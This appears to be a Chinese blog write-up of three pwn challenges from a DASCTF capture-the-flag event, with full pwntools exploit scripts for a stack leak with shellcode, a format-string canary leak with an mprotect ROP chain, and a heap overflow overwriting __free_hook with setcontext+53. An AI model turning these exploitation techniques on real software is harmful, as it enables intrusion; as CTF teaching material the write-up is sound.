当前位置:   article > 正文

DASCTF Sept X 浙江工业大学秋季挑战赛_[dasctf sept x 浙江工业大学秋季挑战赛]rsa1100

[dasctf sept x 浙江工业大学秋季挑战赛]rsa1100

hehepwn

首先check一下安全防护机制,全红。

 分析程序,程序逻辑非常简单。

 思路首先通过strdup泄露栈地址,后面控制返回地址到栈上,执行shellcode。

  1. from pwn import *
  2. sh = process('./bypwn')
  3. context(os='linux',arch='amd64',log_level='DEBUG')
  4. #sh = remote('node4.buuoj.cn',25111)
  5. pop_rdi = 0x0000000000400923
  6. #gdb.attach(sh)
  7. #pause()
  8. sh.sendafter('input:\n','a'*30+'bb')
  9. sh.recvuntil('bb')
  10. leak_addr = u64(sh.recv(6).ljust(8,'\x00'))
  11. print(hex(leak_addr-0x50))
  12. shellcode = asm(shellcraft.cat('flag')).ljust(88,'a')
  13. #payload = flat({0:asm(shellcraft.cat('/flag')), 0x58: leak_addr - 0x50})
  14. payload = shellcode+p64(leak_addr-0x50)
  15. sh.send(payload)
  16. sh.interactive()

hahapwn

参考了一个很厉害的师傅写的wp,DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp - LynneHuan - 博客园

check一下安全机制,开启了canary机制

然后分析程序,能明显看到有一个格式化字符串漏洞和一个栈溢出点

 查看禁用的函数,execve被禁用

 思路为:

  • 通过格式化字符串漏洞,泄露出canary的值和libc基址
  • 确定控制相应寄存器的gadget和函数的地址
  • 构造出ROP链(mprotect函数是用来给bss段可执行权限,这样就可以执行bss段中的shellcode)
  • 利用栈溢出写入ROP链
  • 最后发送shellcode(cat flag)

这里需要注意很多问题,记录几个主要的问题

1、无法使用ROPgadget寻找syscall,ret,原因不是很清楚,但是可以使用ropper找到

2、mprotect 函数修改权限时,修改的地址必须为内存页的起使地址,即低12位全为0,故需要将bss地址后12位置0

  1. from pwn import *
  2. #sh = process('./pwn')
  3. sh = remote('node4.buuoj.cn',29752)
  4. elf = ELF('./pwn')
  5. libc= ELF('./libc.so.6')
  6. context.arch='amd64'
  7. read_addr = elf.plt['read']
  8. puts_addr = elf.plt['puts']
  9. bss_addr = elf.bss()
  10. print(hex(bss_addr))
  11. pop_rdi =0x0000000000021112
  12. pop_rsi =0x00000000000202f8
  13. pop_rdx =0x0000000000001b92
  14. pop_rax =0x000000000003a738
  15. int_0x80 = 0x00000000000bc3f5
  16. context.log_level = 'DEBUG'
  17. #gdb.attach(sh,'b *0x000000000040077C')
  18. payload = 'aaaaaaaaaa%25$p%27$p%28$p'
  19. sh.sendafter('name?\n',payload)
  20. sh.recvuntil('aaaaaaaaaa')
  21. setbuf = int(sh.recv(14),16)-324
  22. canary = int(sh.recv(18),16)
  23. ebp = int(sh.recv(14),16)-0xc0
  24. libc_base = setbuf-libc.sym['setvbuf']
  25. mprotect_addr = libc_base + libc.sym['mprotect']
  26. libc_pop_rdi = libc_base + pop_rdi
  27. libc_pop_rsi = libc_base + pop_rsi
  28. libc_pop_rdx = libc_base + pop_rdx
  29. libc_pop_rax = libc_base + pop_rax
  30. libc_call = libc_base + int_0x80
  31. payload = 'a'*0x68+p64(canary)+'bbbbbbbb'
  32. payload+=p64(libc_pop_rdi)+p64(0)+p64(libc_pop_rsi)+p64(bss_addr)+p64(libc_pop_rdx)+p64(0x200)+p64(read_addr)
  33. #payload+=p64(libc_pop_rdi)+p64(bss_addr)+p64(puts_addr)
  34. payload+=p64(libc_pop_rdi)+p64(bss_addr&~0xfff)+p64(libc_pop_rsi)+p64(0x1000)+p64(libc_pop_rdx)+p64(0x7)+p64(libc_pop_rax)+p64(10)
  35. payload+=p64(libc_call)+p64(bss_addr)
  36. payload=payload.ljust(0x200,'\x00')
  37. sh.sendafter('you?\n',payload)
  38. sh.send(asm(shellcraft.cat('./flag')))
  39. sleep(1)
  40. sh.interactive()

 datasystem

首先需要绕过一个验证,能很明显发现首先保证用户名不为admin,之后的判断需要s1和s2相等

利用ida调试输入123456时,s2的值为一个32位的字符串

 将这字符串复制当作密码输入,发现s2的开头为\x00

 于是猜想密码是否为32位,输入'a'*32和'b'*32,发现s2的开头均为\x00,只要爆破出使s1开头为\x00就可以绕过验证

爆破的脚本如下

  1. import string
  2. from pwn import *
  3. context(os='linux',arch='amd64',log_level='error')
  4. for password in range(0x100):
  5. password=password.to_bytes(1,byteorder='big')
  6. sh = process('./datasystem')
  7. sh.sendafter('please input username: ','admin\x00')
  8. sh.sendafter('please input password: ',password*32)
  9. error = sh.recvline()
  10. if b'Fail' not in error:
  11. print('password:',password)
  12. print('-----------------')
  13. print('-----------------')
  14. sh.close()

最后得到可行的两个密码

验证机制就可以绕过

分析程序,堆的菜单题,功能相对简单

 存在漏洞的点在add中,read输入函数的大小始终为506,存在溢出的风险

绕过验证后的整体思路为:

  • 申请一个unsortedbin,利用残存的地址泄露出libc地址
  • 溢出覆盖地址为__free_hook-0x200
  • 分配到地址__free_hook-0x200
  • 将__free_hook覆盖为setcontext+53
  • 在可执行可读可写的0x23330000写入shellcode,并且执行shellcode
    1. import string
    2. from pwn import *
    3. def add(size,content):
    4. sh.sendlineafter('>> :\n','1')
    5. sh.sendlineafter('Size: \n',str(size))
    6. sh.sendafter('your Content: \n',content)
    7. def delete(index):
    8. sh.sendlineafter('>> :\n','2')
    9. sh.sendlineafter('Index:\n',str(index))
    10. def show(index):
    11. sh.sendlineafter('>> :\n','3')
    12. sh.sendlineafter('Index:\n',str(index))
    13. context(os='linux',arch='amd64')
    14. sh = process('./datasystem')
    15. libc = ELF('./libc-2.27(2).so')
    16. sh.sendafter('please input username: ','admin\x00')
    17. sh.sendafter('please input password: ','c'*32)
    18. add(0x420,'a')#0
    19. add(0x10,'b')#1
    20. delete(0)
    21. add(0x8,'a'*8)#0
    22. show(0)
    23. libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3EC090
    24. free_hook=libc_base+libc.sym['__free_hook']
    25. read_addr= libc_base+libc.sym['read']
    26. setcontext= libc_base+libc.sym['setcontext']
    27. add(0x20,'b')#2
    28. delete(2)
    29. delete(0)
    30. add(0x10,flat({0x10:[0,0x31,free_hook-0x200]}))#0
    31. add(0x20,'aaaa')#2
    32. payload = flat({0x200:setcontext+53,0x100:0x23330000,0xa0:free_hook-0x100,0xa8:read_addr,0x70:0x23330000,0x88:0x100,0x68:0},filler='\x00')
    33. add(0x20,payload)#3
    34. delete(3)
    35. sleep(1)
    36. sh.sendline(asm(shellcraft.cat('./flag')))
    37. sh.interactive()
    这里又学习到一个新的利用方式setcontext+53,通过大量控制寄存器来控制程序执行
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/900771?site
推荐阅读
相关标签
  

闽ICP备14008679号